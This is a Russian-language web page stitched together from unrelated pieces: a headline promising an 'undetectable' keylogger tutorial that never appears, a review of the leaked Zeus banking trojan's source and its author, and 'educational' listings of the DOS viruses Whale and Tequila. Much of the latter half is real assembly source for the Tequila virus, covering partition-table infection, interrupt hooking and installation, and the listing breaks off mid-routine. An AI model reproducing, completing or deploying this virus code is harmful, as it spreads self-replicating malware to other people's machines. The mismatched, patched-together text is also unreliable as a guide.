Разное

Вирусов исходники: Учимся писать полностью «не обнаружимый» кейлогер / Блог компании Varonis Systems / Хабр

Содержание

Небольшой обзор исходного кода трояна zeus / Хабр

Введение

Как нам подсказывает англо-русский словарь, zeus переводится как Зевс, Громовержец, главный бог древне-греческого пантиона. Назвав свое творение zeus в далеком уже 2007 году, неизвестный автор трояна взял на себя определенные обязательства, обязывающие быть если не главным, то как минимум в числе первых, и надо признать, он выполнил, и даже перевыполнил эти обязательства.
Zeus-троян стал уже легендарным на просторах Интернета и даже за его пределами за последние несколько лет. Ни один из троянов не зацвел таким буйным цветом, не распространился так широко, как этот, а по широте охвата zeus ненамного отстает от печально знаменитого червя Kido/Conficker.

Изначально zeus позиционировался как бансковский троян, то есть программа, которая каким либо образом проникает на компьютер жертвы и передает своему хозяину конфиденциальную информацию — логины, пароли, номера кредитных карт, CVV2/CVC2 коды и так далее. Но со временем стали появляться и модификации для кражи корпоративных данных, заражения исполняемых файлов, рассылки спама и так далее.

Расскажу немного о бизнес — схеме, которая используется при работе с zeus. Автор zeus (или авторы), заботливо расширяет и совершенствует свое детище вот уже много лет, но у этого парня хватает ума самому не заниматься распространением трояна — он продает конструктор для создания модифицированных версий всем желающим, с более или менее понятными инструкциями, также можно купить и тех. поддержку. Ну а поиском Дедиков как центров управления, созданием и распространением трояна — клиента, обработкой полученных номеров кредиток, обналичкой и прочим криминалом занимается всякая низкоинтеллектуальная “школота”.

Самый показательный пример такого рода – это задержание в начале октября 2010 года в США группы студентов из России, которые погорели скорее всего из-за своей неуемной жадности и тупости. Вот их имена: Илья Карасев, Кристина Извекова, Софья Дикова и иже с ними. Взято отсюда. Впрочем, вся школота на удивление дешево отделалась — каждому дали меньше года тюрьмы и мизерный денежный штраф, хотя в США за такие преступления можно сесть на 40 лет.

Хотя надо отметить, что автор zeus принимал активное участие в работе существующих крупных ботнетов, видимо в рамках тех. поддержки пользователям, ибо он пишет в рекомендациях по использованию своего детища, что дедик, на котором должна крутится адмика, должен быть достаточно мощным, с конкретными указаниями конфигурации.

Недавно zeus засветился еще в одной атаке – кто то перед рождеством разослал поздравительные рождественские открытки якобы из Белого дома по правительcnвенным учреждениям США. При переходе по ссылке или открытии прикрепленного файла zeus тупо сканировал винчестер в поисках Word, Exel, PDF файлов и отсылал их на некий сервер в Белоруссии.

Вообще, очень много ниточек от zeus ведут в страны постсоветского пространства, что дает основания подозревать, что родом он из России или Украины, что в последствии и подтвердилось, ибо комментарии в исходниках и инструкции по работе были написаны на русском. Да и сам GUI Сервера zeus содержал всего два языка — английский и русский.

Возможности

Вот что немного из того, что пишет сам автор о возможностях zeus:

-Язык и IDE программирования:

Visual C++ (текущая версия 9.0). Не используются дополнительные библиотеки (crtl, mfc, и т.д.).

-Поддерживаемые ОС:

XP/Vista/Seven, а также 2003/2003R2/2008/2008R2. В том числе работа под Windows x64, но только для 32-x битных процессов. Также сохраняется полноценная работа бота при активных сессиях «Terminal Servers».

-Принцип действия:

Бот основан на перехвате WinAPI, методом сплайсинга в ring3(пользовательский режим), путем запуска копии своего кода в каждом процессе пользователя (без использования DLL).

-Процесс установки:

В данный момент, в первую очередь бот ориентирован на работу под Vista/Seven, с включенным UAC, и без использования локальных сплойтов. Поэтому бот рассчитан на работу с минимальными привилегиями пользователя (включая пользователя «Гость»), с связи с этим бот всегда работает в пределах сессий одного пользователя (из-под которого производилась установка бота.). Бот может быть установлен для каждого пользователя в ОС, при этом боты не будут знать о существовании друг друга. При установке, бот создает свою копию в домашней директории пользователя, эта копия является привязанной к текущему пользователю и ОС, и не может быть запущена в другом пользователе, или тем более ОС. Оригинальная же копия бота (используемая для установки), будет автоматически удалена, в независимости от успеха установки.

-Защита:

Уникальные имена всех объектов (файлов, мютексов, ключей реестра) создаваемых ботом для каждого пользователя и ботнета. Установленный бот не может быть запущен с иной ОС или пользователя. Уничтожается код, служащий для установки бота. В данный момент не производиться скрытие файлов бота через WinAPI, т.к. антивирусные инструменты очень легко находят такие файла, и позволяют точно определить местоположение бота. Автообновление бота, не требующие перезагрузки. Контроль цельности файлов бота.

-Получение важных данных из программ пользователя:

Логинов из FTP-клиентов: FlashFXP, CuteFtp, Total Commander, WsFTP, FileZilla, FAR Manager, WinSCP, FTP Commander, CoreFTP, SmartFTP. «Кукисов» Adobe (Macromedia) Flash Player. «Кукисов» wininet.dll, Mozilla Firefox. Импорт сертификатов из хранилища сертификатов Windows. И слежение за их дальнейшим добавлением. Слежение за нажатием клавиш клавиатуры.

Сделаю несколько своих комментариев по поводу высказываний автора zeus: та версия, которая попала ко мне, была откомпилирована на компьютере автора с помощью MS Visual Studio 10.0, так что файл комментов несколько устарел. Толи автор не удосужился их обновить для того юзера, которому продал сорсы, толи еще что.

По поводу принципа действия – автор решил не заморачиватся написанием драйверов, поднятием привилегий и прочими boot-time фишками, которые очень популярны у вирусописателей в последнее время, и не случайно — эта олд-скульность весьма оправдана, так как бот работает предельно стабильно на всем семействе операционок Windows, функционален даже из под гостевого аккаунта, и имеет минимально возможную вероятность запалиться антивирусом. Тем более что в операционках семейства Windows после выхода XP SP2 для поддержки технологии “горячего патча” пролог каждой функции был сделан постоянной длинны в 5 байт, что избавло zeus от того, чтобы таскать с собой дизассемблер BeaEngine, и это несомненно пошло на пользу трояну, ибо автор zeus называет дизассемблер “довольно громоздким, хоть и универсальным”.

Узкое место то, что клиентская программа трояна прописывает себя в каждом пользовательском процессе, и этим ее можно детектировать. Например, техника определения, инфицирован ли данный процесс, используется самим ботом-клиентом для отрисовки окна при работе встроенного vnc сервера – проверяется, создан ли в процессе мутекс со специальным именем. Если создан – значит данный процесс инфицирован. Но имя скорее всего уникально для каждого экземпляра программы-клиента, так что так просто это в правила антивиря запихать не удастся. Вот еще интересные строчки “При установке, бот создает свою копию в домашней директории пользователя, В данный момент не производиться скрытие файлов бота через WinAPI” что дает нам отличный способ детектирования именно этого бота. И вообще – в корне домашнего каталога юзера не должно быть никаких левых подозрительных файлов! Особенно выполняемых, странно что антивирусы об этом не знают.

Вообще, схема распространения данной версии zeus довольно примитивна – пользователь переходит по ссылке, пришедшей в спамерском письме, или через инфицированный pdf документ, и запускает программу-инсталятор zeus, которая шифрует уникальным шифром вирус под каждого отдельного пользователя, после чего инсталлятор удаляется, а вирус сможет исполнятся только на этом данном компе под данным юзером. Никаких распространений через сканирование сети, через флешки, и прочих новомодных штучек. Все это безусловно ограничивает распространения трояна, зато делает его гораздо более устойчивым к антивирусам, что, судя по степени распространения zeus более чем оправдано.

По поводу “Получение важных данных из программ пользователя”- чистая правда, такая функциональность есть. Правда, автор забыл написать, что грабилка паролей CuteFTP в текущей версии закоментарена, то есть в билд она не попадает, судя по тому что не доделана, а расшифровка пароля для WsFTP вообще не реализована, что отражено в коментах сорсов, но это все мелочи 😉 Странно, что автор не потрудился на пароли аськи, скайпа, сохраненные пароли от соц. сетей и т.д., другие Трояны с радостью крадут все эти данные. Судя по всему, алгоритмы расшифровки многих паролей были получены методами реверсивного инжиниринга, то есть дизассемблированием. Кстати, среди браузеров автором не упомянут Google chrome, вдруг его данные троян не грабит, так что возможно лучше всего пользовать браузер от Google, хотя я этот вопрос не исследовал.

Ну как ясно из всего вышеперечисленного – zeus необычайно широко распространен, качественно сделан, устойчив и скрытен в работе, легко адаптируется под различные новые задачи, кроме всего прочего, работает под подавляющим большинством операционных систем семейства Windows, в том числе и в 64-битных. В общем, в своем роде просто уникальный продукт.

Ну и напоследок — исходники этого самого знаменитого трояна таки утекли в сеть, то есть его создатель попал на те же грабли, что и его законопослушные коллеги-программисты: кто то из покупателей толи потерял, толи намеренно выложит сорсы в сеть, благодаря чему все желающие получили возможность познакомится со зловредом так сказать изнутри.

Анализ

Как известно, разработка программного обеспечения, в том числе написание кода – работа очень творческая, тут нет каких то единых стандартов и раз и навсегда проторенных дорожек, это как спорт, когда у каждого великого спортсмена со временем вырабатывается свой стиль игры, как изобразительное искусство, когда картины мастера можно узнать по характерному подчерку, как литература, например, если маленький мальчик попал в лапы к нелюдям – это Лукьяненко, а если все люди перемерли и герой расследует преступление, бегая по руинам городов – это Филлип Дик. Так же и с исходным кодом ПО и сопутствующими ему деталями – у каждого профессионального программиста есть свой характерный почерк, который очень много может сказать о своем авторе. И никакие корпоративные шаблоны, типа документов по стилизации кода, использованию характерных языковых конструкций и так далее не может помешать автору кода изменить своему стилю, ибо это сидит уже в подсознании, в подкорке головного мозга. Вот я и попробую, анализируя исходный код трояна zeus, попытаться кое что разузнать о его авторе.

При первом взгляде на сорсы бросается в глаза их предельно четкая структурированность, что говорит о большом опыте автора в разработке ПО. Не заметно никаких следов какой либо системы контроля версий, и это лишний раз подтверждает предположение о том, что это не была утечка исходников от их создателя, а в сеть попал пакет сорсов, который был продан какому-то клиенту. Ведь врятли автору удалось работать 4 года и дожить до версии 2.0.8.9 без source-контроля.


Для начала хотелось бы отметить, что сам пакет zeus, попавший в мои руки, состоит из нескольких модулей:

common — общие для всех проектов файлы, в которых содержится реализация большинства абстракций, необходимых для работы, таких как менеджер памяти, работа со строками, файловой системой, процессами, потоками, объектами синхронизации и прочее. В общем, набор крайне полезных и нужных базовых сервисов.

client — непосредственно сам вирусный клиент или бот, который проникает и поселяется на компьютерах жертв. Самый большой по объему код находится тут, ибо трояну надо много чего уметь делать.

builder — построитель новых версий вирусного клиента на основе скомпиленного содержимого каталога “client”

bcserver — сервер для работы на дедике, к которому будут бак-коннектится боты.

server[php] – веб интерфейс для управления ботнетом.

bin – немногие 3rdparty, которые использует проект zeus. Все остальные сторонние компоненты были переписаны под zeus API, как то vnc, дизассамблер на движке BeaEngine. В этом каталоге лежат fasm, php, 7zip, upx.


Первое что бросилось в глаза — это билд система. Хотя zeus и собирается под Visual Studio 10, билд система написана на php. Это очень необычно и редко встречающееся решение, так как разработка системы билда на php не свойственно для Windows систем, и вообще не свойственно ни для каких систем. Это может говорить о том, что автор взял уже готовую подобную систему и модифицировал для своих целей. А где он мог ее взять? Только на своей предыдущей или нынешней работе, и скорее всего он участвовал в разработке данной системы.

Код написан почти полностью на С, только там где используются COM интерфейсы, неорхотно используется С++. Хотя автор регулярно пишет TODOшки, что какие то части надо переписать с использованием COM.

Весь код хорошо откоммениторован, такое впечатление, что все комменты написаны в стиле какой то системы самодокументирования, по типу javadoc или qtdoc, но более примитивной, видимо проприетарной, которая использовалась на бывшей работе автора бота. Почти все коменнты в коде написаны по русски, и это очень показательно, ибо говорит, что автор не работал в крупных междунароных проектах, ибо в них есть 100% запрет на комменты, написанные в национальных алфавитах. В php комменты в utf-8, когда как в С-коде комменты в win-1251. Также весьма возможно, что автор плохо владеет английским языком, ибо, как объясняется в предыдущем пункте, с иностранцами он не работал. Правда, есть тут одно препятствие – файл manual_en.html, который написан на более-менее приличном аглийском языке, но, возможно, у автора есть помощник, который владеет английским. Но еще раз повторюсь – я на 99% уверен что С-код всего zeus, включая билд систему, писал один человек. 80% вероятности этот же человек писал код php админки для бонтена. Еще про комменты -многие из них пестрят орфографическими ошибками в стиле “Интернет-падонков”, которые были модны лет 5 назад. Видимо эта филосовия крепко засела в голове неизвестного автора, раз он ее так активно использует.

Еще раз — я категорически утверждаю, что весь С-код zeus писал один человек, ни о какой команде хакеров, ни о какой передаче исходников zeus разработчикам SpyEye, которым так пугали нас в СМИ, не идет и речи, все стилистически и функционально настолько четко выверено и рассчитано, что даже еще не видя кода до конца, примерно представляешь, что же там будет.

Сам код меня в некотором смысле даже порадовал — никаких больших закомментариных кусков, нет даже не отформатированных кусков, все лаконично, четко и красиво, сразу видно что код регулярно ревьюится автором.

Еще одной отличительной особенностью является высокая степень абстракии кода от системных вызовов и вообще работы с конкретной операционной системой. Почти все, что только можно, вынесено в отдельные программные модули, которые разработаны по единой архитектуре, похожую на структуру классов языка с++. Также удивляет очень высокая степень унификации программных компонентов, многие из них сделаны по единому шаблону, несмотря на крайне различсную функциональность, что говорит о высоком профессионализме автора программы.

Немного меня удивила часто встречающаяся довольно больная длинна строк в исходных файлах – зачастую она превосходит 200 знаков! С одной стороны это говорит о том, что у автора монитор не менее 24«, с другой все равно непонятно, как он например, пользуется утилитами типа диффа разных ревизий исходного кода, с длинными строчками тут и 32« не хватит).


После обзора кода стал понятен феномен zeus – высокая надежность, легкая модифицируемость и широкое распространение, минимальная зависимость от текущей операционной системы: все очень просто, zeus – очень качественный программой продукт, с развитым набором базовых сервисов, продуманными механизмами внедрения, сокрытия и взаимодействия с командным центром. Поэтому ничего удивительного, что он стал так популярен у компьютерных преступников всех мастей и родов, и судя по всему, принес своему создателю не менее $100.000. Хотя, стоит отметить, что автор в нескольких комментах жалуется, что ему не на чем тестировать некоторые компоненты вируса, например SetColourMapEntries в vnc и SEC_I_CONTEXT_EXPIRED, SEC_I_RENEGOTIATE в ssl. Не вяжется это как то с предполагаемым доходом автора, хотя Москва, где предположительно живет автор трояна, дорогой город. Вообще, мне кажется, что если zeus продолжит развиваться и дальше, за голову неизвестного автора объявят награду, как в свое время Microsoft объявил награду в $250.000 за голову создателя червя Kido. Еще немного об авторе – судя по всему этот парень уже давно ушел со своей бывшей работы, ибо даты модификации некоторых сорсов- 4 утра, 12 ночи и так далее, короче, то время, когда любой приличный разработчик должен спать, чтобы с утра идти на работу. Мне могут возразить что возможно на компе, где происходила разработка, преднамеренно выставлено неправильное время? Ерунда! Автор в своей разработке использует наверняка несколько компов, а тут уже со временем особо не поиграешься, как минимум системе хранения исходных кодов это не понравится. Также не мог автор и работать удаленно, ибо опять же для работы ему надо несколько компов, даже если он использует виртуальные машины, да и по удаленке можно легко случайно запалится.

Вообще, самое неприятное чувство при работе с кодом я испытал в тот момент, когда запустил на выполнение файл make_debug.cmd, и у меня все довольно быстро собралось без сучка и задоринки. Получается, что любая школота, настроив элементарный конфиг, начнет клепать свои экземпляры ботов. Хотя надо отдать честь билд – системе, отработала она на ура.


В файлах “source\builder\resources\«resources.aps” и “zeus.sln” обнаружена крайне интересная строчка “C:\Users\jam3s\Desktop\Zeus\source\builder\resources\resources.rc”, это полный путь на диске, по которому на оригинальном компе разработчика хранилось дерево проекта. Ценно тут то, что неизвестный автор не особо утруждал себя расположением исходников, и банально свалил их на рабочий стол, в результате чего в путь попало имя пользователя операционной системы, “jam3s”, а это уже кое что! Это вам не “nic”, “mike” или прочая распространенная лабуда, это имя достаточно уникально, и не удивлюсь, если оно уже всплывало на просторах Интернета, где-нибудь на форумах или чатах, или даже на форумах фрилансеров. В дальнейшем автор стал более “продвинутым” и скопировал дерево исходников проекта в “c:\zeus”, это мы можем узнать из любого оригинального объектного файла проекта. Поиск по яндексу и гуглу каких то явных личностей с ником jam3s не выявил, но никаких особых результатов я и не ждал, ибо так просто автор zeus не спалится, не того полета птица.

Была еще попытка попробовать найти, где автор взял иноку для back-connect сервера, там изображено что то типа черной свиньи или лошади, но ничего интересного найти не удалось, пару раз изображение нашлось в галереях в череде похожих уродцев.


В общем, в кратце можно составить такой обобщенный портрет ботописателя:

— Молодой человек от 28 до 35 лет, русский.

— Работал в более-менее крупной фирме разработчиком ПО несколько лет, фирма не сотрудничала с иностарнцами.

— На 90% проживает в Москве, на 80% в Санкт-Петербурге

— Не знает английский язык или знает плохо.

— Пользуется ником jam3s.

Эпилог

Говорят, что у орудий, предназначенных для убийства есть своя потаенная эстетика, изгиб линий и очертания форм предают таким предметам скрытое очарование, вызывающее смесь восхищения и ужаса у наблюдающего их. Схожие чувства я испытал в процессе знакомства с исходниками zeus, этим одним из самых совершенных орудий всеобщей кибернетической эпохи, когда никто не может чувствовать себя в безопасности от невидимых но цепких лап троянов и руткитов. Может, пока Вы читаете эти строки, за Вами пристально следит через vnc один из очередных хозяев ботнета, терпеливо ожидая, пока Вы залогинетесь в свой банковский аккаунт? Но не все так плохо, пример автора zeus говорит нам, что нет ничего невозможного для опытного и целеустремленного одиночки – программиста, пусть он и вынашивает самые низкие и коварные замыслы.

Да прибует с вами хабра-сила!

Исходный Код Вируса Whale (Virus.DOS.Whale


Дисклеймер! Далее представлен текст исключительно в образовательных целях.

Мы не ставим цели иные, кроме как образовательные и информационные.

Код программы, которая детектируется как Virus.DOS.Whale представлен как пример программистского решения.

Virus.DOS.Whale

Обнаружен в 1990 году, 1 июля в городе Гамбург, Германия. Отличительная черта — использование многочисленных средств защиты (шифрование, динамическое шифрование, вложенное шифрование, пустышки и т.д.).

Использует стелс технологии — скрывает свое присутствие в ОС MS DOS. Для этого программа перехватывает 16 DOS функций операционной системы.

Заражает файлы с расширением exe, com, ovl. Для этого записывает свой код с конец атакуемого файла.

В определенный момент (с 19 февраля по 20 марта) выводит на экран текст:

THE WHALE IN SEARCH OF THE 8 FISH I AM ‘~knzyvo}’ IN HAMBURG

Буквальный перевод:

КИТ В ПОИСКАХ 8 РЫБОВ Я ЕСТЬ ‘~ knzyvo}’ В ГАМБУРГЕ

Записывает в файл C:FISH-#9.TBL, который создает сам, текст:

FISH VIRUS #9 A Whale is no Fish! Mind her Mutant Fish and the hidden Fish Eggs for they are damaging. The sixth Fish mutates only if Whale is in her Cave

Буквальный перевод:

FISH VIRUS # 9 Кит — это не рыба! Следите за ее Мутантной рыбой и скрытой рыбой
Яйца для них вредны. Шестая Рыба видоизменяется, только если в ней есть Кит
пещера

(Гугл перевод)

Является резидентным (после запуска остается в памяти). Обладает размером 9 килобайт.

Исходный код вируса Whale

 

;=====================================================================
;=====================================================================
; The WHALE ;
; ;
; Listing erstellt 1991 , R. H”rner , Karlsruhe , FRGDR ;
; ;
;=====================================================================
;=====================================================================
code SEGMENT
ASSUME CS:code,DS:code,ES:CODE
.RADIX 16
ORG 100h
;---------------------------------------------------------------------
;----------------( Struktur der Entscheidungs-Tabelle fЃr INT 21h )---
;---------------------------------------------------------------------
IF_THEN STRUC
WENN DB ?
DANN DW ?
ENDS
;==========================================( Der Decoder-Aufruf )===
MDECODE MACRO Adr
CALL DECODE
DW @L&adr-L&Adr
L&Adr:
ENDM
;==========================================( der Coder-Aufruf )===
MCODE MACRO Adr
CALL CODEIT
DB @L&Adr-L&Adr+1
@L&Adr:
ENDM
;---------------------------------------------------------------------
;--------------------------------------------------( fЃr Mutanten )---
L04BB5 EQU OFFSET D4BB5
J00000 EQU L04BB5 - Offset Entry
J11111 EQU L04BB5 - Offset @INT21
ZweiByte EQU J00000 / 2
DreiByte EQU J00000 / 3
M_Size EQU OFFSET J03AD0-OFFSET J03A84
;---------------------------------------------------------------------
;-------------------------------------------( "Mutierende" Makros )---
;---------------------------------------------------------------------
CALL_INT21 MACRO Adr,adr1 ; Selbst-Relozierend

DB 0E8H
DW - (LL&ADR + J11111 + 1)
LL&ADR EQU $-OFFSET ADR1
ENDM
;---------------------------------------------------------------------
CALL_ENTRY MACRO Adr,adr1 ; Selbst-Relozierend
DB 0E8H
DW - (CE&ADR + J00000 )
CE&ADR EQU $-OFFSET ADR1
ENDM
;---------------------------------------------------------------------
JMP_ENTRY MACRO Adr,adr1 ; Selbst-Relozierend
DB 0E9H
DW - (JM&ADR + J00000 )
JM&ADR EQU $-OFFSET ADR1
ENDM
;=====================================================================
;===============================================( zur relozierung )===
;=====================================================================
FirstByte EQU OFFSET @FirstByte-OFFSET VirStart ; 20h
CODE_LEN EQU OFFSET LASTCODE-OFFSET @FirstByte ; 2385H
CODE_START EQU OFFSET J04BCF - OFFSET @FirstByte ; 239FH
;=====================================================================
;============================================( ver„nderlicher Code)===
;=====================================================================
SwapCode_1 EQU Offset Decode - Offset VirStart ; 0A33h
Swapcode_2 EQU OFFSET J03A20 - Offset VirStart ; 1210h
Swapcode_3 EQU OFFSET J0491A - Offset J03047 ; 18D3h
SwapCode_4 EQU OFFSET J03047 - Offset VirStart ; 0837H
SwapCode_5 EQU OFFSET J03259 - Offset VirStart ; 0A49h
SwapCode_6 EQU OFFSET J02CFF - Offset VirStart ; 04EFh
SwapCode_7 EQU Offset SwitchByte-Offset VirStart;
SwapCode_8 EQU Offset Int_02 - Offset VirStart ; 3181h
;=====================================================================
;========================================( einfacher zu schreiben )===
;=====================================================================
XorByte__1 EQU OFFSET D_4A5E - Offset VirStart ; 224Eh
XorByte__2 EQU OFFSET D_4A79 - Offset VirStart ; 2269h
;=====================================================================
Part_____1 EQU OFFSET D4BAC - OFFSET VirStart ; 239Ch
Len_Part_1 EQU OFFSET Lastbyte - Offset D4BAC ; 0054h
;=====================================================================
SchwimmZiel EQU OFFSET J029C1 - Offset VirStart ; 01B1h
WischeWeg EQU OFFSET D4B7C - Offset VirStart ; 236Ch
;=====================================================================
SS_INIT EQU Offset EXE_SS_INIT-Offset VirStart
SP_INIT EQU Offset EXE_SP_INIT-Offset VirStart
CODE_INIT EQU Offset EXE_CODE_INIT-Offset VirStart
;=====================================================================
;=============================( Sprungtabelle fЃr Int 21h-Handler )===
;=====================================================================
L0699 EQU Offset J02ea9 - Offset VirStart
L04f4 EQU Offset J02D04 - Offset VirStart
L06E0 EQU Offset J02EF0 - Offset VirStart
L06CA EQU Offset J02EDA - Offset VirStart
L08CF EQU Offset J030DF - Offset VirStart
L06C8 EQU Offset J02ED8 - Offset VirStart
L0996 EQU Offset J031A6 - Offset VirStart
L09E4 EQU Offset J031F4 - Offset VirStart
L1E5E EQU Offset J0466E - Offset VirStart
L1DA2 EQU Offset J045B2 - Offset VirStart
L0AD4 EQU Offset J0325D - Offset VirStart
L1F70 EQU Offset J04780 - Offset VirStart
L1D0F EQU Offset J0451F - Offset VirStart
;=====================================================================
;==============================( wenn ein Debugger erkannt wird...)===
;=====================================================================
IfDebugWal EQU (Offset J04B6A-Offset CreateTempCode+1) / 2
StartDebug EQU Offset CreateTempCode-Offset VirStart
;=====================================================================
;==========================================( Erkl„rung fehlt noch )===
;=====================================================================
@0478 EQU 0478H
@FB88 EQU 10000h-@0478
;=====================================================================
;=================================================( COM-Einsprung )===
;=====================================================================
start: JMP ENTRY ; JMP Decode_Whale
DB 00h
Whale_ID DW 020CCh ; kennung,

Исходники вирусов. DOS вирус Tequila


Полиморфный, резидентный, загрузочный компьютерный вирус Tequila созданный под ОС MS DOS. Зловред заражает загрузочный сектор диска ПК, что позволяет ему получать управление при запуске компьютера. Находится в памяти (является резидентным), заражая исполняемые файлы с расширением .exe (размер инфицированных программ увеличивался на 2,468 байт). При этом не заражает файлы, в названиях которых есть «v» и «sc» (предположительно для избежания «атаки» антивирусов.

Также нашпигован защитными механизмами — полиморфизм, антиотладка, шифрование. После того, как в ОС будет заражено четверть всех программ, компьютерный вирус Tequila «выдает» свое присутвие выводом на консоль сообщение:

 

Welcome to T.TEQUILA's latest production.
Contact T.TEQUILA/P.o.Box 543/6312 St'hausen/Switzerland
Loving thoughts to L.I.N.D.A
  
BEER and TEQUILA forever !
  
Execute: mov ax, FE03 / int 21. Key to go on!

 

Также зловред выводит на экран картинку фрактала Мандельброта:

 

Программа была создана швейцарским программистом в исследовательских целях. Однако, программа (исходник или зараженный файл) была похищена и «выпущена» на компьютере одного из сотрудников компании, занимающихся разработкой компьютерных программ. В результате в начале 1991 года разразилась эпидемия этого вируса в Европе. После, в 1993 году эпидемия этого зловреда повторилась в Южной Африке.

 

Исходник вируса Tequila

 

! Внимание. Код приводится исключительно в образовательных целях !

 

 

;=============================

; the tequila virus =

; a recompilable =

; dis-assembly =

; specifically designed =

; for assembly to a COM file =

; with the A86 assembler. =

; ++++++++++++++++++ =

; If you desire a "perfect" =

; byte for byte source code =

;match-up, the MASM assembler=

; must be used and the noted =

;instructions must be changed=

; to comply with MASM syntax.=

; In addition, all byte and =

;word pointer references must=

; be changed from B and W to =

; BYTE POINTER and WORD =

; POINTER. =

;=============================

CODE_SEG SEGMENT

ASSUME CS:CODE_SEG, DS:CODE_SEG, ES:CODE_SEG, SS:CODE_SEG

ORG 0100

TEQUILA PROC NEAR

JMP START

DB 000, 000, 000, 000, 000, 000, 000, 0FFH, 0FFH

DB 009, 005, 001H, 010H, 000, 000, 002H, 0FAH, 000, 00CH

DB 00DH, 00AH, 00DH, 00AH

DB "Welcome to T.TEQUILA's latest production.", 00DH, 00AH

DB "Contact T.TEQUILA/P.o.Box 543/6312 St'hausen/"

DB "Switzerland.", 00DH, 00AH

DB "Loving thoughts to L.I.N.D.A", 00DH, 00AH, 00DH, 00AH

DB "BEER and TEQUILA forever !", 00DH, 00AH, 00DH, 00AH

DB "$"

DB "Execute: mov ax, FE03 / int 21. Key to go on!"

PROGRAM_TERMINATION_ROUTINE:

PUSH BP

MOV BP,SP

SUB SP,0CH

PUSH AX

PUSH BX

PUSH CX

PUSH DX

PUSH SI

PUSH DI

PUSH ES

PUSH DS

PUSH CS

POP DS

MOV AX,W[6]

INC AX

JE 0243H ;Masm Mod. Needed

DEC AX

JNE 020DH ;Masm Mod. Needed

DEC W[8] ;Masm Mod. Needed

JNE 0243H ;Masm Mod. Needed

JMP 0246H ;Masm Mod. Needed

MOV AH,02AH

CALL INT_21

MOV SI,CX

MOV CX,W[8]

CMP CL,DL

JNE 022FH ;Masm Mod. Needed

MOV AX,SI

SUB AX,W[6]

MUL B[011H] ;Masm Mod. Needed

ADD AL,DH

ADD CH,3

CMP AL,CH

JAE 0237H ;Masm Mod. Needed

MOV W[6],0FFFFH ;Masm Mod. Needed

JMP 0243H ;Masm Mod. Needed

MOV W[6],0 ;Masm Mod. Needed

MOV W[8],3 ;Masm Mod. Needed

JMP 02DF ;Masm Mod. Needed

MOV BX,0B800H

INT 011

AND AX,030H

CMP AX,030H

JNE 0256H ;Masm Mod. Needed

MOV BX,0B000H

MOV ES,BX

XOR BX,BX

MOV DI,0FD8FH

MOV SI,0FC18H

MOV W[BP-2],SI

MOV W[BP-4],DI

MOV CX,01E

MOV AX,W[BP-2]

IMUL AX

MOV W[BP-8],AX

MOV W[BP-6],DX

MOV AX,W[BP-4]

IMUL AX

MOV W[BP-0C],AX

MOV W[BP-0A],DX

ADD AX,W[BP-8]

ADC DX,W[BP-6]

CMP DX,0F

JAE 02B0 ;Masm Mod. Needed

MOV AX,W[BP-2]

IMUL W[BP-4]

IDIV W[0F] ;Masm Mod. Needed

ADD AX,DI

MOV W[BP-4],AX

MOV AX,W[BP-8]

MOV DX,W[BP-6]

SUB AX,W[BP-0C]

SBB DX,W[BP-0A]

IDIV W[0D] ;Masm Mod. Needed

ADD AX,SI

MOV W[BP-2],AX

LOOP 0269 ;Masm Mod. Needed

INC CX

SHR CL,1

MOV CH,CL

MOV CL,0DB

ES MOV W[BX],CX ;Masm Mod. Needed

INC BX

INC BX

ADD SI,012

CMP SI,01B8

JL 0260 ;Masm Mod. Needed

ADD DI,034

CMP DI,02A3

JL 025D ;Masm Mod. Needed

XOR DI,DI

MOV SI,0BB

MOV CX,02D

CLD

MOVSB

INC DI

LOOP 02D7 ;Masm Mod. Needed

XOR AX,AX

INT 016

POP DS

POP ES

POP DI

POP SI

POP DX

POP CX

POP BX

POP AX

MOV SP,BP

POP BP

RET

PRINT_MESSAGE:

PUSH DX

PUSH DS

PUSH CS

POP DS

MOV AH,9

MOV DX,012

CALL INT_21

POP DS

POP DX

RET

NEW_PARTITION_TABLE:

CLI

XOR BX,BX

MOV DS,BX

MOV SS,BX

MOV SP,07C00

STI

XOR DI,DI

SUB W[0413],3 ;Masm Mod. Needed

INT 012

MOV CL,6

SHL AX,CL

MOV ES,AX

PUSH ES

MOV AX,022A

PUSH AX

MOV AX,0205

MOV CX,W[07C30]

INC CX

MOV DX,W[07C32]

INT 013

RETF

DB 002, 0FE

DB 04C, 0E9

DB 080, 004

PUSH CS

POP DS

XOR AX,AX

MOV ES,AX

MOV BX,07C00

PUSH ES

PUSH BX

MOV AX,0201

MOV CX,W[0226]

MOV DX,W[0228]

INT 013

PUSH CS

POP ES

CLD

MOV SI,0409

MOV DI,09BE

MOV CX,046

REP MOVSB

MOV SI,091B

MOV DI,0A04

MOV CX,045

REP MOVSB

CLI

XOR AX,AX

MOV ES,AX

ES LES BX,[070] ;Masm Mod. Needed

MOV W[09B0],BX ;Masm Mod. Needed

MOV W[09B2],ES ;Masm Mod. Needed

MOV ES,AX

ES LES BX,[084] ;Masm Mod. Needed

MOV W[09B4],BX ;Masm Mod. Needed

MOV W[09B6],ES ;Masm Mod. Needed

MOV ES,AX

ES MOV W[070],044F ;Masm Mod. Needed

ES MOV W[072],DS ;Masm Mod. Needed

STI

RETF

INSTALL:

CALL NEXT_LINE

NEXT_LINE:

POP SI

SUB SI,028F

PUSH SI

PUSH AX

PUSH ES

PUSH CS

POP DS

MOV AX,ES

ADD W[SI+2],AX

ADD W[SI+4],AX

DEC AX

MOV ES,AX

MOV AX,0FE02

INT 021

CMP AX,01FD

JE NO_PARTITION_INFECTION

ES CMP B[0],05A ;Masm Mod. Needed

JNE NO_PARTITION_INFECTION

ES CMP W[3],0BB ;Masm Mod. Needed

JBE NO_PARTITION_INFECTION

ES MOV AX,W[012] ;Masm Mod. Needed

SUB AX,0BB

MOV ES,AX

XOR DI,DI

MOV CX,09A4

CLD

REP MOVSB

PUSH ES

POP DS

CALL INFECT_PARTITION_TABLE

NO_PARTITION_INFECTION:

POP ES

POP AX

PUSH ES

POP DS

POP SI

CS MOV SS,W[SI+4] ;Masm Mod. Needed

CHAIN_TO_THE_HOST_FILE:

CS JMP D[SI] ;Masm Mod. Needed

INFECT_PARTITION_TABLE:

MOV AH,02A

INT 021

MOV W[6],CX ;Masm Mod. Needed

MOV W[8],DX ;Masm Mod. Needed

MOV AH,052

INT 021

ES MOV AX,W[BX-2] ;Masm Mod. Needed

MOV W[03E8],AX ;Masm Mod. Needed

MOV AX,03513

INT 021

MOV W[09A0],BX ;Masm Mod. Needed

MOV W[09A2],ES ;Masm Mod. Needed

MOV AX,03501

INT 021

MOV SI,BX

MOV DI,ES

MOV AX,02501

MOV DX,03DA

INT 021

